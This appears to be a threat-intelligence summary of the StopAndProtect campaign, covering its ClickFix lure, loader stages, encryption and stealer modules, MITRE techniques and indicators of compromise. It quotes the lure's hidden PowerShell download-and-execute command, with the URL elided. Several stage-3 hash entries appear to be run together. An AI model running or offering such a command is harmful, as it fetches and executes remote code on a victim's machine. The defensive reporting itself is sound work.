Thousands of Hacked WordPress Sites, One Operation: Unmasking StopAndProtect

StopAndProtect is a large-scale operation that combines file encryption, data theft, and multiple spreading and control components while abusing thousands of hacked WordPress sites for infrastructure. OPSEC failures exposed victim logs, screenshots, source code, and evidence that the campaign affected thousands of IPs across regions, with most activity seen in the US, Russia, and India. #StopAndProtect #WordPress #ClickFix #SilentEncryptor #SilentDataCollector

Keypoints

StopAndProtect is a newly identified campaign that blends ransomware-style encryption with stealthy data theft.
The operation relies on hacked WordPress sites for malware hosting, command-and-control, and storage of exfiltrated logs and stolen files.
The infection chain begins with a fake CAPTCHA ClickFix lure that pushes victims to run a PowerShell command, leading to multiple .NET downloader and loader stages.
Stage 3 includes several modules: SilentEncryptor, SilentDataCollector, LockScreen, SimpleChatProxy, an SMB/USB worm, a VBS spreader, and a credential stealer.
Developer mistakes exposed directory listings, logs, screenshots, source code, and an installer for a malicious WordPress must-use plugin with hidden upload capability.
Researchers collected more than 6,000 unique IPs in logs, about 31,000 screenshots, and over 700 stolen archives, showing the campaign’s scale.
The attacker appears to manage compromised WordPress sites with custom tools, including a Visual Basic 6 botnet manager and PHP-based file management utilities.

MITRE Techniques

[T1059.001 ] PowerShell – Victims are tricked into executing a hidden PowerShell command through the ClickFix lure and clipboard injection (‘powershell -w hidden -ep bypass -c IEX((New-Object Net.WebClient).DownloadString(…))’).
[T1204.001 ] User Execution: Malicious Link – The fake CAPTCHA/ClickFix page induces the victim to follow the prompt and run the provided command (‘If the victim falls for the ClickFix prompt and infects themselves’).
[T1105 ] Ingress Tool Transfer – Multiple stages download additional payloads from compromised WordPress sites and C&C servers (‘downloads and executes the second stage’, ‘downloads the base64-encoded .NET stage 1’).
[T1027 ] Obfuscated Files or Information – Payloads are base64-encoded and decoded in memory before execution (‘It decodes it and loads it into memory’).
[T1566.002 ] Phishing: Spearphishing Link – The fake CAPTCHA page acts as a social-engineering lure to deliver the initial execution path (‘displays a human verification prompt’ and copies the command to the clipboard).
[T1074 ] Data Staged – Stolen files, screenshots, logs, and archives are collected on attacker-controlled infrastructure before later use (‘storage of logs exfiltrated from victims’, ‘uploaded victims’ screenshots’).
[T1119 ] Automated Collection – SilentDataCollector enumerates files and automatically collects selected data from multiple drives (‘generates a list of all files on all drives… compresses, encrypts, and exfiltrates desired files’).
[T1041 ] Exfiltration Over C2 Channel – Collected logs and files are uploaded back to the base C&C server (‘upload logs, or download instructions’, ‘exfiltrate this list to the base C&C’).
[T1113 ] Screen Capture – The stealer captures screenshots of user activity and stores uploaded screenshot archives (‘capturing screenshots of user activity at 30-second intervals’).
[T1056.001 ] Keylogging – Newer versions of the stealer include a keylogger with valid email address detection (‘implement additional features, such as a keylogger with valid email address detection’).
[T1021.002 ] SMB/Windows Admin Shares – NetworkShareScanner spreads by enumerating network shares (‘behaves as an SMB/USB worm, enumerating network shares’).
[T1091 ] Replication Through Removable Media – The worm spreads via plugged-in USB devices and removable media (‘plugged-in USB devices’, ‘propagates to hard disks and removable media’).
[T1021.006 ] Windows Remote Management / WMI – VBS spreader laterally moves using remote process creation via WMI (‘laterally moves using remote process creation via WMI’).
[T1027.013 ] Obfuscated Files or Information: Encrypted/Encoded File – Exfiltrated archives are sometimes AES-CBC encrypted (‘these ZIP archives are AES-CBC encrypted with the same key’).
[T1071.001 ] Web Protocols – The operation uses PHP endpoints and web requests for commanding, reporting, and uploading data (‘POSTing to the {BASE_URL}/wp-json/wp-sec/v1/upload endpoint’).

Indicators of Compromise

[Domains ] compromised WordPress infrastructure – maximumrock[.]ro, platinumcar[.]ca, and 2 more items
[Domains ] compromised base C&C websites – v-k.com[.]ua, www.lapellelaser[.]pl, and 3 more items
[File hashes ] PowerShell and stage payloads – cab7f141fd6f2c58055b3731ef6a64b8a2d4d88a974770b047da19c0904322f0, cc8aa2bd7bf74ca0bbc5cb03a7b18eae73094b450d11654528c05685fe12e0c9, and other 8 items
[File hashes ] stage 3 components – b79b9b027f76579555069a7506d946648a8cb3126c0dda837dc9fee0e5c7948965550f6d0ffec8421f703cdc7273d9c0563b3d480fe6702bad294a18afe721430080d0dd72eda4850a02e51c0e5c6f768423dfe970cafae2ab52ceee75972b40, 8d1e23630a6695fa9c793d73832f59436c98bba30ed81c16d01b549bd17feab410babb15e08f9fbd72cce11713a273b971c910dd5bdb989a3f6ff4d9c8e372c0f042240c3de00c46dee625916bf246b7e87481e4081a6a97208b091409766e41, and other 5 items
[File names ] malicious WordPress files and tools – wp-sec.php, mu-uploader-installer.php, and wp-verifyup.php
[File names ] attacker archives and logs – a-MASTER-CAPCHA-EXISTS.txt, possible.txt, and store.txt
[Paths ] malicious plugin persistence location – wp-content/mu-plugins/wp-sec.php
[Endpoints ] upload and control interfaces – /wp-json/wp-sec/v1/upload, /wp-content/plugins/verify/proxy.php

MITRE Techniques

SHARE THIS STORY

WhatsApp X (Twitter)Telegram Bluesky Facebook LinkedIn Threads Email Print